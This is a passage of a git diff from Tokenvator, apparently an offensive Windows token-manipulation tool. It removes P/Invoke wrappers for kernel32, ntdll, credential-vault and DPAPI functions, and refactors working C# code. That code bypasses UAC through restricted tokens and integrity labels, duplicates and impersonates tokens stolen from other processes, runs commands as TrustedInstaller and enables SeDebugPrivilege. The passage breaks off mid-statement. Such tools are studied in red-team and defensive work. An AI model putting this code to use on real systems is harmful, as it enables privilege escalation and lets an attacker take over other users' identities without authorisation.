WheresMyImplant -{ - class crypt32 - { - [DllImport("crypt32.dll", SetLastError=true)] - internal static extern bool CryptUnprotectData( - ref Wincrypt._CRYPTOAPI_BLOB pDataIn, - LPWSTR ppszDataDescr, - ref Wincrypt._CRYPTOAPI_BLOB pOptionalEntropy, - PVOID pvReserved, - ref Wincrypt._CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, - DWORD dwFlag, - ref Wincrypt._CRYPTOAPI_BLOB pDataOut - ); - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged2/kernel32.cs b/Tokenvator/Resources/Unmanaged2/kernel32.cs deleted file mode 100644 index a8de058..0000000 --- a/Tokenvator/Resources/Unmanaged2/kernel32.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Text; - -namespace WheresMyImplant -{ - internal class kernel32 - { - //////////////////////////////////////////////////////////////////////////////// - [DllImport("kernel32.dll")] - internal static extern Boolean CloseHandle(IntPtr hProcess); - - [DllImport("kernel32.dll")] - internal static extern IntPtr GetCurrentThread(); - - [DllImport("kernel32.dll")] - internal static extern IntPtr GetCurrentProcess(); - - [DllImport("kernel32.dll")] - internal static extern void GetSystemInfo(out Winbase._SYSTEM_INFO lpSystemInfo); - - [DllImport("kernel32.dll")] - internal static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwProcessId); - - [DllImport("kernel32.dll")] - internal static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); - - [DllImport("kernel32.dll")] - internal static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, ref IntPtr TokenHandle); - - [DllImport("kernel32.dll")] - internal static extern Boolean ReadProcessMemory(IntPtr hProcess, UInt32 lpBaseAddress, IntPtr lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead); - - [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] - internal static extern Boolean ReadProcessMemory64(IntPtr hProcess, UInt64 lpBaseAddress, IntPtr lpBuffer, UInt64 nSize, ref UInt32 lpNumberOfBytesRead); - - [DllImport("kernel32.dll", EntryPoint="VirtualQueryEx")] - internal static extern Int32 VirtualQueryEx32(IntPtr hProcess, IntPtr lpAddress, out Winnt._MEMORY_BASIC_INFORMATION32 lpBuffer, UInt32 dwLength); - - [DllImport("kernel32.dll", EntryPoint="VirtualQueryEx")] - internal static extern Int32 VirtualQueryEx64(IntPtr hProcess, IntPtr lpAddress, out Winnt._MEMORY_BASIC_INFORMATION64 lpBuffer, UInt32 dwLength); - - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged2/ntdll.cs b/Tokenvator/Resources/Unmanaged2/ntdll.cs deleted file mode 100644 index 186f4f1..0000000 --- a/Tokenvator/Resources/Unmanaged2/ntdll.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace WheresMyImplant -{ - class ntdll - { - [DllImport("ntdll.dll")] - internal static extern int NtFilterToken( - IntPtr TokenHandle, - UInt32 Flags, - IntPtr SidsToDisable, - IntPtr PrivilegesToDelete, - IntPtr RestrictedSids, - ref IntPtr hToken - ); - - [DllImport("ntdll.dll")] - internal static extern Int32 NtSetInformationToken( - IntPtr TokenHandle, - Int32 TokenInformationClass, - ref Structs.TOKEN_MANDATORY_LABEL TokenInformation, - Int32 TokenInformationLength - ); - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged2/vaultcli.cs b/Tokenvator/Resources/Unmanaged2/vaultcli.cs deleted file mode 100644 index 92b4dd0..0000000 --- a/Tokenvator/Resources/Unmanaged2/vaultcli.cs +++ /dev/null @@ -1,55 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace WheresMyImplant -{ - class vaultcli - { - [DllImport("vaultcli.dll", CharSet = CharSet.Auto)] - public static extern Boolean VaultEnumerateItems( - IntPtr hVault, - Int32 unknown, - out Int32 dwItems, - out IntPtr ppVaultGuids - ); - - [DllImport("vaultcli.dll", CharSet = CharSet.Auto)] - public static extern Boolean VaultEnumerateVaults( - Int32 unknown, - out Int32 dwVaults, - out IntPtr ppVaultGuids - ); - - [DllImport("vaultcli.dll", CharSet = CharSet.Auto, EntryPoint="VaultGetItem")] - public static extern Boolean VaultGetItem7( - IntPtr hVault, - ref Guid guid, - IntPtr SchemaId, - IntPtr Resource, - IntPtr Identity, - //IntPtr unknownPtr, - Int32 unknown, - out IntPtr hitem - ); - - [DllImport("vaultcli.dll", CharSet = CharSet.Auto, EntryPoint="VaultGetItem")] - public static extern Boolean VaultGetItem8( - IntPtr hVault, - ref Guid guid, - IntPtr SchemaId, - IntPtr Resource, - IntPtr Identity, - IntPtr PackageSid, - //IntPtr unknownPtr, - Int32 unknown, - out IntPtr hitem - ); - - [DllImport("vaultcli.dll", CharSet = CharSet.Auto)] - public static extern Boolean VaultOpenVault( - ref Guid guid, - Int32 dwVaults, - out IntPtr hItems - ); - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Winbase.cs b/Tokenvator/Resources/Winbase.cs deleted file mode 100644 index 049481c..0000000 --- a/Tokenvator/Resources/Winbase.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System.Runtime.InteropServices; - -using WORD = System.UInt16; -using DWORD = System.UInt32; -using QWORD = System.UInt64; - -using LPVOID = System.IntPtr; -using DWORD_PTR = System.IntPtr; - -namespace WheresMyImplant -{ - public class Winbase - { - [StructLayout(LayoutKind.Sequential)] - internal struct _SYSTEM_INFO - { - public WORD wProcessorArchitecture; - public WORD wReserved; - public DWORD dwPageSize; - public LPVOID lpMinimumApplicationAddress; - public LPVOID lpMaximumApplicationAddress; - public DWORD_PTR dwActiveProcessorMask; - public DWORD dwNumberOfProcessors; - public DWORD dwProcessorType; - public DWORD dwAllocationGranularity; - public WORD wProcessorLevel; - public WORD wProcessorRevision; - } - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Wincrypt.cs b/Tokenvator/Resources/Wincrypt.cs deleted file mode 100644 index cbc1839..0000000 --- a/Tokenvator/Resources/Wincrypt.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System.Runtime.InteropServices; - -using WORD = System.UInt16; -using DWORD = System.UInt32; -using QWORD = System.UInt64; -using ULONGLONG = System.UInt64; - -using LPCWSTR = System.String; - -using HWND = System.IntPtr; -using BYTE = System.IntPtr; -using PVOID = System.IntPtr; -using LPVOID = System.IntPtr; -using DWORD_PTR = System.IntPtr; -using SIZE_T = System.IntPtr; - -namespace WheresMyImplant -{ - public class Wincrypt - { - [StructLayout(LayoutKind.Sequential)] - internal struct _CRYPTOAPI_BLOB - { - public DWORD cbData; - public BYTE pbData; - } - - [StructLayout(LayoutKind.Sequential)] - internal struct _CRYPTPROTECT_PROMPTSTRUCT - { - public DWORD cbSize; - public DWORD dwPromptFlags; - public HWND hwndApp; - public LPCWSTR szPrompt; - } - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Winnt.cs b/Tokenvator/Resources/Winnt.cs deleted file mode 100644 index 6c2d164..0000000 --- a/Tokenvator/Resources/Winnt.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System.Runtime.InteropServices; - -using WORD = System.UInt16; -using DWORD = System.UInt32; -using QWORD = System.UInt64; -using ULONGLONG = System.UInt64; - -using PVOID = System.IntPtr; -using LPVOID = System.IntPtr; -using DWORD_PTR = System.IntPtr; -using SIZE_T = System.IntPtr; - -namespace WheresMyImplant -{ - public class Winnt - { - //////////////////////////////////////////////////////////////////////////////// - // https://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx - //////////////////////////////////////////////////////////////////////////////// - public const DWORD PAGE_NOACCESS = 0x01; - public const DWORD PAGE_READONLY = 0x02; - public const DWORD PAGE_READWRITE = 0x04; - public const DWORD PAGE_WRITECOPY = 0x08; - public const DWORD PAGE_EXECUTE = 0x10; - public const DWORD PAGE_EXECUTE_READ = 0x20; - public const DWORD PAGE_EXECUTE_READWRITE = 0x40; - public const DWORD PAGE_EXECUTE_WRITECOPY = 0x80; - public const DWORD PAGE_GUARD = 0x100; - public const DWORD PAGE_NOCACHE = 0x200; - public const DWORD PAGE_WRITECOMBINE = 0x400; - public const DWORD PAGE_TARGETS_INVALID = 0x40000000; - public const DWORD PAGE_TARGETS_NO_UPDATE = 0x40000000; - - [StructLayout(LayoutKind.Sequential)] - internal struct _MEMORY_BASIC_INFORMATION32 - { - public DWORD BaseAddress; - public DWORD AllocationBase; - public DWORD AllocationProtect; - public DWORD RegionSize; - public DWORD State; - public DWORD Protect; - public DWORD Type; - } - - [StructLayout(LayoutKind.Sequential)] - internal struct _MEMORY_BASIC_INFORMATION64 - { - public ULONGLONG BaseAddress; - public ULONGLONG AllocationBase; - public DWORD AllocationProtect; - public DWORD __alignment1; - public ULONGLONG RegionSize; - public DWORD State; - public DWORD Protect; - public DWORD Type; - public DWORD __alignment2; - } - } -} \ No newline at end of file diff --git a/Tokenvator/RestrictedToken.cs b/Tokenvator/RestrictedToken.cs index 64c311c..b204e63 100644 --- a/Tokenvator/RestrictedToken.cs +++ b/Tokenvator/RestrictedToken.cs @@ -1,12 +1,10 @@ using System; -using System.Collections.Generic; -using System.Diagnostics; using System.Linq; -using System.Management; using System.Runtime.InteropServices; -using System.Security; using System.Security.Principal; -using System.Text; + +using Unmanaged.Headers; +using Unmanaged.Libraries; namespace Tokenvator { @@ -31,7 +29,9 @@ public Boolean BypassUAC(Int32 processId, String command) { if (ImpersonateUser()) { - if (CreateProcess.CreateProcessWithLogonW(phNewToken, command, "")) + FindExe(ref command, out String arguments); + + if (CreateProcess.CreateProcessWithLogonW(phNewToken, command, arguments)) { advapi32.RevertToSelf(); return true; @@ -43,6 +43,36 @@ public Boolean BypassUAC(Int32 processId, String command) return false; } + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public Boolean BypassUAC(IntPtr htoken, String command) + { + phNewToken = htoken; + if (SetTokenInformation()) + { + if (ImpersonateUser()) + { + String arguments = ""; + if (command.Contains(' ')) + { + String[] commandAndArguments = command.Split(new String[] { " " }, StringSplitOptions.RemoveEmptyEntries); + command = commandAndArguments.First(); + arguments = String.Join(" ", commandAndArguments.Skip(1).Take(commandAndArguments.Length - 1).ToArray()); + } + + if (CreateProcess.CreateProcessWithLogonW(phNewToken, command, arguments)) + { + advapi32.RevertToSelf(); + return true; + } + } + advapi32.RevertToSelf(); + } + + return false; + } + //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// public Boolean GetPrimaryToken(UInt32 processId) @@ -57,7 +87,7 @@ public Boolean GetPrimaryToken(UInt32 processId) Console.WriteLine("[+] Recieved Handle for: {0}", processId); Console.WriteLine(" [+] Process Handle: {0}", hProcess.ToInt32()); - if (!kernel32.OpenProcessToken(hProcess, (UInt32)Enums.ACCESS_MASK.MAXIMUM_ALLOWED, out hExistingToken)) + if (!kernel32.OpenProcessToken(hProcess, (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, out hExistingToken)) { Console.WriteLine(" [-] Unable to Open Process Token: {0}", hProcess.ToInt32()); return false; @@ -65,17 +95,17 @@ public Boolean GetPrimaryToken(UInt32 processId) Console.WriteLine(" [+] Primary Token Handle: {0}", hExistingToken.ToInt32()); kernel32.CloseHandle(hProcess); - Structs._SECURITY_ATTRIBUTES securityAttributes = new Structs._SECURITY_ATTRIBUTES(); + Winbase._SECURITY_ATTRIBUTES securityAttributes = new Winbase._SECURITY_ATTRIBUTES(); if (!advapi32.DuplicateTokenEx( hExistingToken, (UInt32)(Constants.TOKEN_ALL_ACCESS), ref securityAttributes, - Enums._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Enums.TOKEN_TYPE.TokenPrimary, + Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, + Winnt._TOKEN_TYPE.TokenPrimary, out phNewToken )) { - GetError("DuplicateTokenEx: "); + GetWin32Error("DuplicateTokenEx: "); return false; } Console.WriteLine(" [+] Existing Token Handle: {0}", hExistingToken.ToInt32()); @@ -88,40 +118,40 @@ out phNewToken //////////////////////////////////////////////////////////////////////////////// public Boolean SetTokenInformation() { - Structs.SidIdentifierAuthority pIdentifierAuthority = new Structs.SidIdentifierAuthority(); - pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; - byte nSubAuthorityCount = 1; + Winnt._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority = new Winnt._SID_IDENTIFIER_AUTHORITY(); + pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; //16 - all + Byte nSubAuthorityCount = 1; IntPtr pSID = new IntPtr(); if (!advapi32.AllocateAndInitializeSid(ref pIdentifierAuthority, nSubAuthorityCount, 0x2000, 0, 0, 0, 0, 0, 0, 0, out pSID)) { - GetError("AllocateAndInitializeSid: "); + GetWin32Error("AllocateAndInitializeSid: "); return false; } - Console.WriteLine(" [+] Initialized SID : {0}", pSID.ToInt32()); + Console.WriteLine(" [+] Initialized SID: {0}", pSID.ToInt32()); - Structs.SID_AND_ATTRIBUTES sidAndAttributes = new Structs.SID_AND_ATTRIBUTES(); + Winnt._SID_AND_ATTRIBUTES sidAndAttributes = new Winnt._SID_AND_ATTRIBUTES(); sidAndAttributes.Sid = pSID; sidAndAttributes.Attributes = Constants.SE_GROUP_INTEGRITY_32; - Structs.TOKEN_MANDATORY_LABEL tokenMandatoryLabel = new Structs.TOKEN_MANDATORY_LABEL(); + Winnt._TOKEN_MANDATORY_LABEL tokenMandatoryLabel = new Winnt._TOKEN_MANDATORY_LABEL(); tokenMandatoryLabel.Label = sidAndAttributes; Int32 tokenMandatoryLableSize = Marshal.SizeOf(tokenMandatoryLabel); if (0 != ntdll.NtSetInformationToken(phNewToken, 25, ref tokenMandatoryLabel, tokenMandatoryLableSize)) { - GetError("NtSetInformationToken: "); + GetWin32Error("NtSetInformationToken: "); return false; } Console.WriteLine(" [+] Set Token Information : {0}", phNewToken.ToInt32()); - Structs._SECURITY_ATTRIBUTES securityAttributes = new Structs._SECURITY_ATTRIBUTES(); if (0 != ntdll.NtFilterToken(phNewToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref luaToken)) { - GetError("NtFilterToken: "); + GetWin32Error("NtFilterToken: "); return false; } Console.WriteLine(" [+] Set LUA Token Information : {0}", luaToken.ToInt32()); + advapi32.FreeSid(pSID); return true; } @@ -129,23 +159,23 @@ public Boolean SetTokenInformation() //////////////////////////////////////////////////////////////////////////////// public Boolean ImpersonateUser() { - Structs._SECURITY_ATTRIBUTES securityAttributes = new Structs._SECURITY_ATTRIBUTES(); + Winbase._SECURITY_ATTRIBUTES securityAttributes = new Winbase._SECURITY_ATTRIBUTES(); if (!advapi32.DuplicateTokenEx( luaToken, (UInt32)(Constants.TOKEN_IMPERSONATE | Constants.TOKEN_QUERY), ref securityAttributes, - Enums._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Enums.TOKEN_TYPE.TokenImpersonation, + Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, + Winnt._TOKEN_TYPE.TokenImpersonation, out phNewToken )) { - GetError("DuplicateTokenEx: "); + GetWin32Error("DuplicateTokenEx: "); return false; } Console.WriteLine(" [+] Duplicate Token Handle : {0}", phNewToken.ToInt32()); if (!advapi32.ImpersonateLoggedOnUser(phNewToken)) { - GetError("ImpersonateLoggedOnUser: "); + GetWin32Error("ImpersonateLoggedOnUser: "); return false; } return true; diff --git a/Tokenvator/Tokens.cs b/Tokenvator/Tokens.cs index 01bef58..e618370 100644 --- a/Tokenvator/Tokens.cs +++ b/Tokenvator/Tokens.cs @@ -2,12 +2,13 @@ using System.Collections.Generic; using System.Diagnostics; using System.Linq; -using System.Management; using System.Runtime.InteropServices; -using System.Security; using System.Security.Principal; using System.Text; +using Unmanaged.Headers; +using Unmanaged.Libraries; + namespace Tokenvator { class Tokens : IDisposable @@ -17,9 +18,9 @@ class Tokens : IDisposable private IntPtr currentProcessToken; private Dictionary processes; - private delegate Boolean Create(IntPtr phNewToken, String newProcess, String arguments); + internal delegate Boolean Create(IntPtr phNewToken, String newProcess, String arguments); - private static List validPrivileges = new List { "SeAssignPrimaryTokenPrivilege", + public static List validPrivileges = new List { "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeEnableDelegationPrivilege", @@ -48,7 +49,7 @@ public Tokens() currentProcessToken = new IntPtr(); kernel32.OpenProcessToken(Process.GetCurrentProcess().Handle, Constants.TOKEN_ALL_ACCESS, out currentProcessToken); - SetTokenPrivilege(ref currentProcessToken, Constants.SE_DEBUG_NAME); + SetTokenPrivilege(ref currentProcessToken, Constants.SE_DEBUG_NAME, Winnt.TokenPrivileges.SE_PRIVILEGE_ENABLED); } protected Tokens(Boolean rt) @@ -85,17 +86,17 @@ public Boolean StartProcessAsUser(Int32 processId, String newProcess) { return false; } - Structs._SECURITY_ATTRIBUTES securityAttributes = new Structs._SECURITY_ATTRIBUTES(); + Winbase._SECURITY_ATTRIBUTES securityAttributes = new Winbase._SECURITY_ATTRIBUTES(); if (!advapi32.DuplicateTokenEx( hExistingToken, - (UInt32)Enums.ACCESS_MASK.MAXIMUM_ALLOWED, + (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, ref securityAttributes, - Enums._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Enums.TOKEN_TYPE.TokenPrimary, + Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, + Winnt._TOKEN_TYPE.TokenPrimary, out phNewToken )) { - GetError("DuplicateTokenEx: "); + GetWin32Error("DuplicateTokenEx: "); return false; } Console.WriteLine(" [+] Duplicate Token Handle: " + phNewToken.ToInt32()); @@ -109,14 +110,26 @@ out phNewToken { createProcess = CreateProcess.CreateProcessWithTokenW; } + FindExe(ref newProcess, out String arguments); - if (!createProcess(phNewToken, newProcess, "")) + if (!createProcess(phNewToken, newProcess, arguments)) { return false; } return true; } + protected void FindExe(ref String command, out String arguments) + { + arguments = ""; + if (command.Contains(" ")) + { + String[] commandAndArguments = command.Split(new String[] { " " }, StringSplitOptions.RemoveEmptyEntries); + command = commandAndArguments.First(); + arguments = String.Join(" ", commandAndArguments.Skip(1).Take(commandAndArguments.Length - 1).ToArray()); + } + } + //////////////////////////////////////////////////////////////////////////////// // Impersonates the token from a specified processId //////////////////////////////////////////////////////////////////////////////// @@ -128,25 +141,26 @@ public virtual Boolean ImpersonateUser(Int32 processId) { return false; } - Structs._SECURITY_ATTRIBUTES securityAttributes = new Structs._SECURITY_ATTRIBUTES(); + Winbase._SECURITY_ATTRIBUTES securityAttributes = new Winbase._SECURITY_ATTRIBUTES(); if (!advapi32.DuplicateTokenEx( hExistingToken, - (UInt32)Enums.ACCESS_MASK.MAXIMUM_ALLOWED, + (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, ref securityAttributes, - Enums._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Enums.TOKEN_TYPE.TokenPrimary, + Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, + Winnt._TOKEN_TYPE.TokenPrimary, out phNewToken )) { - GetError("DuplicateTokenEx: "); + GetWin32Error("DuplicateTokenEx: "); return false; } Console.WriteLine(" [+] Duplicate Token Handle: {0}", phNewToken.ToInt32()); if (!advapi32.ImpersonateLoggedOnUser(phNewToken)) { - GetError("ImpersonateLoggedOnUser: "); + GetWin32Error("ImpersonateLoggedOnUser: "); return false; } + Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); return true; } @@ -204,13 +218,13 @@ public Boolean GetTrustedInstaller(String newProcess) Services services = new Services("TrustedInstaller"); if (!services.StartService()) { - GetError("StartService"); + GetWin32Error("StartService"); return false; } if (!StartProcessAsUser((Int32)services.GetServiceProcessId(), newProcess)) { - GetError("StartProcessAsUser"); + GetWin32Error("StartProcessAsUser"); return false; } @@ -229,13 +243,13 @@ public Boolean GetTrustedInstaller() Services services = new Services("TrustedInstaller"); if (!services.StartService()) { - GetError("StartService"); + GetWin32Error("StartService"); return false; } if (!ImpersonateUser((Int32)services.GetServiceProcessId())) { - GetError("ImpersonateUser"); + GetWin32Error("ImpersonateUser"); return false; } @@ -272,20 +286,20 @@ private static IntPtr OpenThreadTokenChecked() { IntPtr hToken = new IntPtr(); Console.WriteLine("[*] Opening Thread Token"); - if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), (Constants.TOKEN_QUERY | Constants.TOKEN_ADJUST_PRIVILEGES), false, ref hToken)) + if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), (Constants.TOKEN_QUERY | Constants.TOKEN_ADJUST_PRIVILEGES), false, out hToken)) { Console.WriteLine(" [-] OpenTheadToken Failed"); Console.WriteLine(" [*] Impersonating Self"); - if (!advapi32.ImpersonateSelf(Enums.SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation)) + if (!advapi32.ImpersonateSelf(Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation)) { - GetError("ImpersonateSelf"); + GetWin32Error("ImpersonateSelf"); return IntPtr.Zero; } Console.WriteLine(" [+] Impersonated Self"); Console.WriteLine(" [*] Retrying"); - if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), (Constants.TOKEN_QUERY | Constants.TOKEN_ADJUST_PRIVILEGES), false, ref hToken)) + if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), (Constants.TOKEN_QUERY | Constants.TOKEN_ADJUST_PRIVILEGES), false, out hToken)) { - GetError("OpenThreadToken"); + GetWin32Error("OpenThreadToken"); return IntPtr.Zero; } } @@ -298,49 +312,45 @@ private static IntPtr OpenThreadTokenChecked() // http://www.leeholmes.com/blog/2010/09/24/adjusting-token-privileges-in-powershell/ // https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege //////////////////////////////////////////////////////////////////////////////// - public static void UnSetTokenPrivilege(ref IntPtr hToken, String privilege) + public static void SetTokenPrivilege(ref IntPtr hToken, String privilege, Winnt.TokenPrivileges attribute) { - Console.WriteLine("[*] Adjusting Token Privilege"); - //////////////////////////////////////////////////////////////////////////////// - Structs._LUID luid = new Structs._LUID(); - if (!advapi32.LookupPrivilegeValue(null, privilege, ref luid)) + if (!validPrivileges.Contains(privilege)) { - GetError("LookupPrivilegeValue"); + Console.WriteLine("[-] Invalid Privilege Specified"); return; } - Console.WriteLine(" [+] Recieved luid"); + Console.WriteLine("[*] Adjusting Token Privilege"); //////////////////////////////////////////////////////////////////////////////// - Structs._LUID_AND_ATTRIBUTES luidAndAttributes = new Structs._LUID_AND_ATTRIBUTES(); - luidAndAttributes.Luid = luid; - luidAndAttributes.Attributes = 0; - - Structs._TOKEN_PRIVILEGES newState = new Structs._TOKEN_PRIVILEGES(); - newState.PrivilegeCount = 1; - newState.Privileges = luidAndAttributes; - - Structs._TOKEN_PRIVILEGES previousState = new Structs._TOKEN_PRIVILEGES(); - UInt32 returnLength = 0; - Console.WriteLine(" [+] AdjustTokenPrivilege Pass 1"); - if (!advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength)) + Winnt._LUID luid = new Winnt._LUID(); + if (!advapi32.LookupPrivilegeValue(null, privilege, ref luid)) { - GetError("AdjustTokenPrivileges - 1"); + GetWin32Error("LookupPrivilegeValue"); return; } - - previousState.Privileges.Attributes ^= (Constants.SE_PRIVILEGE_ENABLED & previousState.Privileges.Attributes); - + Console.WriteLine(" [+] Recieved luid"); //////////////////////////////////////////////////////////////////////////////// - Structs._TOKEN_PRIVILEGES kluge = new Structs._TOKEN_PRIVILEGES(); - Console.WriteLine(" [+] AdjustTokenPrivilege Pass 2"); - if (!advapi32.AdjustTokenPrivileges(hToken, false, ref previousState, (UInt32)Marshal.SizeOf(previousState), ref kluge, out returnLength)) + Winnt._LUID_AND_ATTRIBUTES luidAndAttributes = new Winnt._LUID_AND_ATTRIBUTES + { + Luid = luid, + Attributes = (uint)attribute + }; + Winnt._TOKEN_PRIVILEGES newState = new Winnt._TOKEN_PRIVILEGES + { + PrivilegeCount = 1, + Privileges = luidAndAttributes + }; + Winnt._TOKEN_PRIVILEGES previousState = new Winnt._TOKEN_PRIVILEGES(); + Console.WriteLine(" [*] AdjustTokenPrivilege"); + if (!advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out UInt32 returnLength)) { - GetError("AdjustTokenPrivileges - 2"); + GetWin32Error("AdjustTokenPrivileges"); return; } - Console.WriteLine(" [+] Adjusted Token to: " + privilege); + Console.WriteLine(" [+] Adjusted Privilege: {0}", privilege); + Console.WriteLine(" [+] Privilege State: {0}", attribute); return; } @@ -349,43 +359,93 @@ public static void UnSetTokenPrivilege(ref IntPtr hToken, String privilege) // http://www.leeholmes.com/blog/2010/09/24/adjusting-token-privileges-in-powershell/ // https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege //////////////////////////////////////////////////////////////////////////////// - public static void SetTokenPrivilege(ref IntPtr hToken, String privilege) + public static void NukeTokenPrivilege(ref IntPtr hToken) { - if (!validPrivileges.Contains(privilege)) + Winnt._TOKEN_PRIVILEGES newState = new Winnt._TOKEN_PRIVILEGES(); + Winnt._TOKEN_PRIVILEGES previousState = new Winnt._TOKEN_PRIVILEGES(); + Console.WriteLine(" [*] AdjustTokenPrivilege"); + if (!advapi32.AdjustTokenPrivileges(hToken, true, ref newState, (UInt32)Marshal.SizeOf(typeof(Winnt._TOKEN_PRIVILEGES)), ref previousState, out UInt32 returnLength)) { - Console.WriteLine("[-] Invalid Privilege Specified"); - return; + GetWin32Error("AdjustTokenPrivileges"); } - Console.WriteLine("[*] Adjusting Token Privilege"); + return; + } + + //////////////////////////////////////////////////////////////////////////////// + // Prints the tokens privileges + //////////////////////////////////////////////////////////////////////////////// + public static void DisableAndRemoveAllTokenPrivileges(ref IntPtr hToken) + { //////////////////////////////////////////////////////////////////////////////// - Structs._LUID luid = new Structs._LUID(); - if (!advapi32.LookupPrivilegeValue(null, privilege, ref luid)) + Console.WriteLine("[*] Enumerating Token Privileges"); + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, 0, out UInt32 TokenInfLength); + + if (TokenInfLength < 0 || TokenInfLength > Int32.MaxValue) { - GetError("LookupPrivilegeValue"); + GetWin32Error("GetTokenInformation - 1 " + TokenInfLength); return; } - Console.WriteLine(" [+] Received luid"); + Console.WriteLine("[*] GetTokenInformation - Pass 1"); + IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)TokenInfLength); //////////////////////////////////////////////////////////////////////////////// - Structs._LUID_AND_ATTRIBUTES luidAndAttributes = new Structs._LUID_AND_ATTRIBUTES(); - luidAndAttributes.Luid = luid; - luidAndAttributes.Attributes = Constants.SE_PRIVILEGE_ENABLED; - - Structs._TOKEN_PRIVILEGES newState = new Structs._TOKEN_PRIVILEGES(); - newState.PrivilegeCount = 1; - newState.Privileges = luidAndAttributes; - - Structs._TOKEN_PRIVILEGES previousState = new Structs._TOKEN_PRIVILEGES(); - UInt32 returnLength = 0; - Console.WriteLine(" [*] AdjustTokenPrivilege"); - if (!advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, lpTokenInformation, TokenInfLength, out TokenInfLength)) { - GetError("AdjustTokenPrivileges"); + GetWin32Error("GetTokenInformation - 2 " + TokenInfLength); return; } + Console.WriteLine("[*] GetTokenInformation - Pass 2"); + Winnt._TOKEN_PRIVILEGES_ARRAY tokenPrivileges = (Winnt._TOKEN_PRIVILEGES_ARRAY)Marshal.PtrToStructure(lpTokenInformation, typeof(Winnt._TOKEN_PRIVILEGES_ARRAY)); + Marshal.FreeHGlobal(lpTokenInformation); + Console.WriteLine("[+] Enumerated {0} Privileges", tokenPrivileges.PrivilegeCount); + Console.WriteLine(); + Console.WriteLine("{0,-45}{1,-30}", "Privilege Name", "Enabled"); + Console.WriteLine("{0,-45}{1,-30}", "--------------", "-------"); + //////////////////////////////////////////////////////////////////////////////// + for (Int32 i = 0; i < tokenPrivileges.PrivilegeCount; i++) + { + StringBuilder lpName = new StringBuilder(); + Int32 cchName = 0; + IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(tokenPrivileges.Privileges[i])); + Marshal.StructureToPtr(tokenPrivileges.Privileges[i].Luid, lpLuid, true); - Console.WriteLine(" [+] Adjusted Token to: " + privilege); - return; + advapi32.LookupPrivilegeName(null, lpLuid, null, ref cchName); + if (cchName <= 0 || cchName > Int32.MaxValue) + { + GetWin32Error("LookupPrivilegeName Pass 1"); + Marshal.FreeHGlobal(lpLuid); + continue; + } + + lpName.EnsureCapacity(cchName + 1); + if (!advapi32.LookupPrivilegeName(null, lpLuid, lpName, ref cchName)) + { + GetWin32Error("LookupPrivilegeName Pass 2"); + Marshal.FreeHGlobal(lpLuid); + continue; + } + + Winnt._PRIVILEGE_SET privilegeSet = new Winnt._PRIVILEGE_SET + { + PrivilegeCount = 1, + Control = 